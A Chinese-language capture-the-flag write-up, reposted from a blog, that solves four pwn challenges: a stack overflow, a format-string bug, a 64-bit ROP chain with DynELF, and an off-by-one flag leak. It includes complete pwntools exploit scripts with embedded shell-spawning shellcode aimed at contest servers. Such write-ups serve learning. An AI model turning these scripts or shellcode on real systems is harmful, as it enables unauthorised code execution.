i春秋30强挑战赛pwn解题过程
80pts:
棧溢出,gdb調試發現發送29控制eip,nx:disabled,所以布置好shellcode后getshell
from pwn import *#p=process('./tc1') p=remote('106.75.9.11',20000) nop='\x90'*19buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'payload=p32(0x804a0a0+4)+nop+bufp.recvuntil('4. Divide\n') #gdb.attach(p) p.sendline('29') p.recvuntil('[123 110]\n') p.sendline(payload) p.interactive()100pts:
反編譯看出漏洞為格式化字符串,nx:disabled,思路就是在棧上布置shellcode,但是限定輸入長度16bytes,所以得先修改read size。分三步利用:第一次泄漏棧地址,第二次修改參數(大于511即可),第三次修改ret地址,注意棧地址偏大,一次寫入不行,思考很久,分兩次寫入,第一次通過%$hn先寫兩字節,第二次通樣在+2偏移處寫兩字節就能成功寫棧上shellcode地址到printf的ret處,改變執行流程getshell。(這題才100points,不應該啊:(???? )
int __cdecl main(int argc, const char **argv, const char **envp) {signed int v3; // eax@2signed int v6; // [sp+10h] [bp-210h]@1int v7; // [sp+1Ch] [bp-204h]@4int v8; // [sp+21Ch] [bp-4h]@1 v8 = *MK_FP(__GS__, 20);v6 = 16;setvbuf(stdout, 0, 2, 0);ssignal(14, tooslow);alarm(20);while ( 1 ){v3 = 511;if ( v6 <= 511 )v3 = v6;v6 = v3;printf("Reading %d bytes\n", v3);read_until(&v7, v6, 10);printf((const char *)&v7);//格式化漏洞putchar(10);alarm(20);} } .text:0804F5A0 sub esp, 1Ch ; Alternative name is '_IO_printf' .text:0804F5A3 lea eax, [esp+1Ch+arg_4] .text:0804F5A7 mov [esp+1Ch+var_14], eax .text:0804F5AB mov eax, [esp+1Ch+arg_0] .text:0804F5AF mov [esp+1Ch+var_18], eax .text:0804F5B3 mov eax, stdout .text:0804F5B8 mov [esp+1Ch+var_1C], eax .text:0804F5BB call vfprintf .text:0804F5C0 add esp, 1Ch .text:0804F5C3 retn ;需要控制printf函數的ret .text:0804F5C3 printf endp?
#!/usr/bin/env python from pwn import * import binascii#p = process('./echo-200') p = remote("106.75.9.11", '20001')#........leak stack........ payload1='%x%x%x%x%x' print p.recvuntil('bytes\n') p.sendline(payload1) print p.recvuntil('10a010') adr=p.recvuntil('\n').split('\n')[0]#........caculate address........ v=int(adr,16) print hex(v) addr=p32(v-0xc) ebp=int(adr,16)+0x20c k=v-0x20 q=v+0x20 c1=(q>>16) & 0xffff c2=q & 0xffff#........change the buf size........ p.recvuntil('bytes\n') payload2=addr+'%510x'+'%7$hn' p.sendline(payload2)#........change ret address to excute shellcode........ buf = "" buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62" buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43" buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37" buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49" buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43" buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33" buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78" buf += "\x4d\x6f\x70\x41\x41" #gdb.attach(p) payload3=p32(k)+p32(k+2)+'%%%dx'%(c2-4)+'%7$hn'+'%%%dx'%(c1-c2-4)+'%8$hn'+buf p.recvuntil('bytes\n') print "payload3:"+payload3p.sendline(payload3) p.interactive()200pts:
64位程序的rop、dynelf的利用,和32位有區別,注意寄存器(rdi,rsi,rdx)傳參,leak的大小需要精準才能成功getshell(原理參考:http://www.purpleroc.com/md/2016-02-25@Thinking-About-Level2.html),泄漏system地址,傳參getshell:
?
from pwn import * e = ELF('./qwb3') p=process('./qwb3') #p=remote('106.75.8.230',19286) poprdi = 0x400633 poprsi = 0x400631 # pop rsi; pop r15; ret = 0x400631 plt_write = e.symbols['write'] plt_read = e.symbols['read'] main = 0x40059d junk = 'A' * 8 data = 0x601048def leak_write(addr):global pp.recvuntil('pwn \n')payload = 'A' * 72 + p64(poprdi) + p64(1) + p64(poprsi) + p64(addr) + junk +p64(plt_write) + p64(main) p.send(payload.ljust(0x190, 'A'))ret = p.recv(40) return retd = DynELF(leak_write,elf=ELF('./qwb3')) system = d.lookup('system','libc') print system print p.recvuntil('pwn \n')payload2 = 'A' * 72 + p64(poprdi) + p64(0) + p64(poprsi) + p64(data) + junk + p64(plt_read) + p64(poprdi) + p64(data) + p64(system)print "\n###sending payload2 ...###" p.send(payload2) #sleep(1) #gdb.attach(p) p.send('/bin/sh\0') p.interactive()300pts:
一開始無從下手,仔細想想,既然題目是leak,所以利用方式還是圍繞輸入來吧,限定了輸入大小40,各種試溢出,試格式化字符串,最后輸入name為'a'*40,flag為任一字符時可泄漏第一字節,第二次name不變,flag為第一次泄漏的字符加任一字符,泄漏第二個字符,以此類推得到flag,可以看出是off-by-one。
FLAG{wh4t3v3r_1s_0k}
?
轉載于:https://www.cnblogs.com/Joe-Z/p/5634211.html
總結
以上是生活随笔為你收集整理的i春秋30强挑战赛pwn解题过程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux上搭建Hadoop2.6.3集
- 下一篇: 在 asp.net core \ vs2